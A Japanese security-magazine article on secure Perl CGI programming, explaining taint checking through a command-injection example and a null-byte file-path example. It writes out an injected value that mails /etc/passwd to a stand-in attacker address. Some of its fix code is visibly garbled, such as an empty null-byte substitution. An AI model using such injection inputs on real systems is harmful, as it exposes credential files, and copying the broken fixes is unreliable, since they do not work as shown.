【Webアプリケーションのセキュリティ 6】〜 Perlによるcgiセキュアプログラミング 〜 | ScanNetSecurity
2024.05.04(土)

【Webアプリケーションのセキュリティ 6】〜 Perlによるcgiセキュアプログラミング 〜

 この「Webアプリケーションのセキュリティ」の連載では、ここまでポリシーや概念的な話が多かったが、今回は気分を変えて技術的な話をしよう。Webアプリケーションの最も簡便なソリューションとしてよく用いられる、Perlによるcgi作成時の、セキュアコーディングについ

特集 特集
 この「Webアプリケーションのセキュリティ」の連載では、ここまでポリシーや概念的な話が多かったが、今回は気分を変えて技術的な話をしよう。Webアプリケーションの最も簡便なソリューションとしてよく用いられる、Perlによるcgi作成時の、セキュアコーディングについて説明する。

 cgiは言うまでもなく、不特定多数のユーザからの入力を受け付ける。ユーザからの入力内容が悪意あるものである可能性は低くなく、その最も大きな脅威はサーバへの侵入や、任意のコマンド実行などである。Perlによるcgiプログラミングにおいて、この脅威に対する防御策は、ユーザ入力された内容のチェック、いわゆる「汚染チェック」が必要である。今回はユーザからの入力がどのように汚染されている(悪意ある内容になっている)可能性があるかを説明する。

 ユーザ入力されたキーワードを $user_input に格納し、これを元に、

open GREP, "/usr/bin/grep $user_input /path/to/data/file |";

というコマンドを実行したい時に、$user_inputの汚染チェックを怠っていれば、'; mail cracker@example.com < /etc/passwd;'; という値が入力されてしまうかも知れない[1]。このとき、コマンドの内容は

open GREP, "/usr/bin/grep '; mail cracker@example.com < /etc/passwd;'; /path/to/data/file |";

となってしまい、パスワードファイルが悪意ある人物にメール送信されてしまう。メタキャラクタはエスケープされなければならない。

s/([&;`'\|"*?~<>^()[]{}$])/\$1/g;

 いくつかの文字列からユーザに選択させて、その文字列を含んだファイル名のデータベースファイルを開き表示させようと、

# parse $user_input
$database="$user_input.db";
open(FILE "<$database");
while () {
print;
}

とした場合どのような危険性があるだろうか。ユーザ入力として、
/etc/passwd

という文字列が送られてきた場合、この文字列に.dbを付け加えても、ファイルをオープンするときには、ヌル文字である以降は認識されないため、/etc/passwd がopenされ、その内容が表示されてしまうことになる。この対策としては、
$user_input=~s///g;

のようにして、ヌル文字を消去しなければならない。


office
office@ukky.net
http://www.office.ac/

[1] http://www.ipa.go.jp/security/awareness/vendor/programming/a01_01_main.html

(詳しくはScan本誌をご覧ください)
http://shop.vagabond.co.jp/m-ssw01.shtml

《ScanNetSecurity》

PageTop

アクセスランキング

  1. ランサムウェア被害の原因はスターティア社の UTM テストアカウント削除忘れ

    ランサムウェア被害の原因はスターティア社の UTM テストアカウント削除忘れ

  2. クラウド労務管理「WelcomeHR」の個人データ閲覧可能な状態に、契約終了後も個人情報保存

    クラウド労務管理「WelcomeHR」の個人データ閲覧可能な状態に、契約終了後も個人情報保存

  3. 信和へのランサムウェア攻撃で窃取された情報、ロックビット摘発を受けてリークサイトが閉鎖

    信和へのランサムウェア攻撃で窃取された情報、ロックビット摘発を受けてリークサイトが閉鎖

  4. 今日もどこかで情報漏えい 第23回「2024年3月の情報漏えい」なめるなという決意 ここまでやるという矜恃

    今日もどこかで情報漏えい 第23回「2024年3月の情報漏えい」なめるなという決意 ここまでやるという矜恃

  5. 「味市春香なごみオンラインショップ」に不正アクセス、16,407件のカード情報が漏えい

    「味市春香なごみオンラインショップ」に不正アクセス、16,407件のカード情報が漏えい

  6. SECON 2024 レポート:最先端のサイバーフィジカルシステムを体感

    SECON 2024 レポート:最先端のサイバーフィジカルシステムを体感

  7. 山田製作所にランサムウェア攻撃、「LockBit」が展開され複数のサーバのデータが暗号化

    山田製作所にランサムウェア攻撃、「LockBit」が展開され複数のサーバのデータが暗号化

  8. 「シャドーアクセスとは?」CSAJ が定義と課題をまとめた日本語翻訳資料公開

    「シャドーアクセスとは?」CSAJ が定義と課題をまとめた日本語翻訳資料公開

  9. 2023年「業務外利用・不正持出」前年 2 倍以上増加 ~ デジタルアーツ調査

    2023年「業務外利用・不正持出」前年 2 倍以上増加 ~ デジタルアーツ調査

  10. トレーニング 6 年ぶり復活 11/9 ~ 11/15「CODE BLUE 2024」開催

    トレーニング 6 年ぶり復活 11/9 ~ 11/15「CODE BLUE 2024」開催

ランキングをもっと見る